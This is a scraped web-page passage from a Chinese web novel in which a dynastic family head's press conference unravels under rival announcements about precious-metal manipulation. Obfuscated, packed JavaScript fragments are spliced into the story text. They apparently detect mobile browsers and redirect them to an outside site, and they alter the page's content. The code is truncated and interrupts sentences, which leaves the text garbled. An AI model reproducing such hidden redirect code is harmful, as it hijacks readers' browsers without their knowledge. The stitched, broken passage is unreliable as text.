l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449345|185251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行为实为无稽之谈。” 孟弈结束了他的举证,站在台前示意台下的记者们提问。 记者们纷纷举起手,孟弈随意地点起其中一人。 “请问您又要如何解释孟家工厂员工在未探明孩童身份的前提下,直接开枪击杀孩童的行为呢!按您说的,底利马人千里迢迢炸毁一个工厂的原因又是什么呢!” “孟家工厂早在十年前就已为孟家准家主孟汲个人所有,除了孟汲外其他人不参与工厂管理,下令攻击闯入工厂的孩童行为全属孟汲个人行为,与孟氏家族无关。至于缘由……工厂早年间转交给孟汲后我就没有再过问……” “那么孟汲现在在哪里!” 施纪和王玖千辛万苦挤到最前面,举着麦克风大声插话。 不用怂!勇敢冲! 主编说了!要大胆地问!这是扬名立万的机会! 孟弈听到问题快速找到提问的记者。 他的眼中快速划过一丝戾气,但在高清镜头的捕捉下,那些情绪被清晰地呈现在了每一个联邦人的面前。 【刚刚孟弈是不是皱眉了!】 【这不是他点的记者,这个问题在他计划之外!】 【所以孟汲怎么了?】 【我靠终于不是场面话了吗?】 【这是谁家记者?】 【呆熊?啥啊?没听过。】 只是一瞬间不自然,孟弈立刻换上一副痛苦的表情看向镜头:“抱歉,我拒绝回答这个问题。” “请不要逃避问题!孟弈男士!请正面回答!”王玖说。 孟弈沉默着。 另一边的直播间监视屏上,无数相同的弹幕快速飘过。 【回答】?14679 “联邦的所有人都在等待您的回答,请正面回答问题!”王玖步步紧逼。 孟弈迟缓地张口,神色悲痛:“他被工作组的人带走后不久……就……” “孟汲于3月39日凌晨四点畏罪自杀……” 台下哗然。 人们纷纷扭头望向大厅中举麦开口接话的人。 检察院专员冷冰冰地放下手中话筒,大步走向台上:“凌晨时分孟汲尸体就已送往检察,确认自杀无疑。” 报告展示在他们身后,报告模板上被加粗的死亡字眼标准而冰冷。 一时现场鸦雀无声。 孟弈对众人的表现十分满意,面上却继续饰演着一个丧失得意继承人的沉痛父亲与家主。 “作为一个父亲,我很痛苦,但孟汲的行为已经违背了孟家对联邦的承诺,所以我必须将他逐出家族族谱……” 3月39日9:00洛克斐发布会现场 孟家发布会如火如荼进行的同一时间,洛克斐发布会现场除了台上的本家以外,台下记者们都陷入了深深的迷茫。 原本应该站在发言人位置的沃尔·洛克斐不在,取而代之的是联邦央行行长,海肯迪娅。 不仅如此,就连发布会的主题也发生了改变。 现场的政治记者们面面相觑。 不是说洛克斐要对底利马开战吗,怎么变成金融课了? 他们不负责这个板块啊! 45. 第四十三场 蛰伏的仇恨 海肯迪娅肃容站在立麦前,语速适中地念着发言稿上的一条条强硬规定,面容严肃。 “针对孟家恶意收购贵金属、联合费可头部企业提高物价、恶性裁员一事,央行今早已展开对孟家的调查。为保证联邦货币体系稳定性,央行将限制保证金交易并提高持仓门槛,以抽干贵金属期货交易流动性;特殊时期,贵金属期货交易只允平仓。政令文件自此刻起立即生效。” 各项指令一经发表犹如投下一枚重磅炸弹,一系列突兀又不容置喙的操作立刻引发公众讨论,掀起轩然大波。 门伊退到一边及时向工作室反馈:“需要经济组支援。” 主编那边听起来也是焦头烂额:“经济组在支持孟家现场提问。你们继续跟进洛克斐突兀改变发布会主题一事,先看孟家怎么应对。” “明白。” 3月39日9:08孟家发布会现场 海肯迪娅的致辞和政令打了所有人个措手不及。负责孟家的记者们纷纷接到领导来电,台下人群来往离席、热闹非凡。 对于敏锐的记者们而言,她直接明确的指责简直就是拿着大喇叭循环播放:好消息!好消息!联邦两大家族明面针锋相对,洛克斐与孟家究竟谁能更胜一筹?!赢者为王!败者彻底退出历史!唯有传媒公司永垂不败之地! 一瞬间,联邦与底利马的所有人都不约而同在同一刻达成共识: 这下谁还在乎你孟弈扯犊子说场面词啊? 干就完事了! 后世著名罪谕学者赤欧西昂曾评价这两家的对擂直播为“宿敌们只需轻轻一勾手,旧联邦的人们就都共鸣了底利马文明”。 所有记者们都将目标转向这场百年难遇的公开对决。 有什么东西在脱离他的掌控。孟弈向着检察院专员皱眉询问怎么了,但一侧的检察员只是轻轻摇了摇头。 他正想用精神链接询问孟安,台下人群突然爆发出一阵惊呼。 “洛克斐将联合克家向市场超量抛售贵金属,继续拉低贵金属价格。两家会保持物价的稳定,追究孟家、费可企业控制经济的责任,收缴孟家资金向已被裁员的相关人员补发工资,重新开放就业岗位。” 孟弈面色难看地回过头,有人直接切入了他身后的投影屏。 投影屏还在播放洛克斐直播中海肯迪娅干练且铿锵有力的发言。 施纪悄悄冲着自家技术人员竖起大拇指。 王玖趁机举麦发问:“孟弈男士!请针对洛克斐发布会的贵金属操纵案内容进行解释!” 与此同时,精神链接手环的瞬间,手环留言像轰炸机般“叮叮叮叮叮”响个不停: “父亲,游行被直接镇压了!我们的计划暴露了!” “孟弈你怎么回事!海肯迪娅消息一出贵金属价格腰斩了一半多!我们的账户被平仓了!洛克斐一直在打电话催我补交保障金,歌莎家现在没钱了!我的电话都要被打爆了!” “大人,一个带着黑罗的女人带人把孟家的人都抓起来了,我现在躲在……啊……卧槽!不对!她是烬……” 面具一手将人抵在衣柜中,一手抢过他的耳机,贴在唇边对着话筒轻笑一声:“幸会,孟家家主。” 孟弈差一点就要开口。 只听“嘟”的一声,留言箱另一边的女人单方面掐断了语音,像是有意提醒他不要在这里落了下乘。 孟弈如梦初醒,额头滑过一滴冷汗,重新冷静下来看向台下的记者。 面具将耳机扔回小喽喽的手中,将他扽出衣柜扔给身后的仿生人。 信徒们将他推搡到客厅墙角那群抱头蹲下的孟家人中。 面具从房间出来,径直坐到沙发把手上,不温不凉看了墙边的孟家人一眼,那些有点能力能反制仿生人们的人瞬间歇了自己蠢蠢欲动的心思。 面具没有再分心震慑谁,她自然地打开电视,调到孟家直播现场的频道。 孟弈的确是这一代四大家族中的佼佼者。 他的人已经将设备的控制权夺回,背面显示屏上的洛克斐直播重新被发布会的PPT取代。 而孟弈也自然地平复了负面消息对他的所有影响:“贵金属的单子确有其事,但这是无端的指控,洛克斐希望通过这种方式来转移各位的视线,以此掩盖自己无法解释与底利马存有联系的事实。” 他叹了口气,对着咄咄逼人的记者无奈惋惜地摇起头,眼中的光采渐渐暗淡。 “真相是,这只是我个人所引起的孟家投资方向的错误——如果不是洛克斐家族的过度干涉,这一笔贵金属本将超过有史以来的最高点,预期收益率高达3200%。事实上,孟氏才是这次贵金属操纵案的受害者。而现在,孟家的百年基业全都毁在了我的手中,我……对不起孟家!” 导播适宜地将镜头切下,台下聪明的政客们和众多不明所以的观众闻言,共情地表示对巨额亏损的遗憾,流下了同情的泪水。 他还在试图挣扎。 “在此感谢大家对孟氏家族的关注,孟氏家族会配合联邦的调查行动,确保此次事件……” 面具微笑着移回视线。 “既然要配合,那就现在来配合我吧,孟弈。” 孟家发布会台下,神明附身在痴心身上,毫不犹豫一个大踏步冲出打断孟弈发言:“等等,孟弈!” 洛克斐家族发布会现场的直播画面再次被切换到孟弈身后。 导播看着完全不受自己控制的设备,悲愤至极。 什么鬼!刚才被入侵就算了,现在他都亲自管理后台了,怎么还输啊! 他最为引以为傲的代码技术怎么能输得一塌糊涂啊! 这样的话、这样的话他的工作肯定要丢了——哦,没关系的,反正孟弈看起来要倒台了。 他已经完蛋啦,哈哈! “好啦好啦,辛苦你啦,接下来交给我吧,晚安痴心。”神明摸摸痴心的大脑,友善地催眠道。 3月39日9:13洛克斐发布会现场 “海肯迪娅女士,请问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“孟弈家主,我也不是一定要抓着您不放手,您说过要配合联邦的调查的,整个联邦现在都想听您解释这件事,您不要辜负人民的期待和信任啊!当初民众选择孟家成为四大家族,是高于您家族本身实力的,大家是希望能您能够为联邦做好事、快速成长起来的……” “放手!” “不信您看直播弹幕!” 她话音刚落,直播弹幕计数器立刻飞速上涨。 【解释】?18722 同时,一片弹幕从投影屏画面上飞过。 【不知道为什么,我感觉自己又上班了……】 【解释!!解释!!】 【已经吃瓜吃疯了,乱得我有些疑惑了,有大神整理一下整个事件的经过吗?】 【这记者简直是天才,哪个公司的,我以后要看这个!】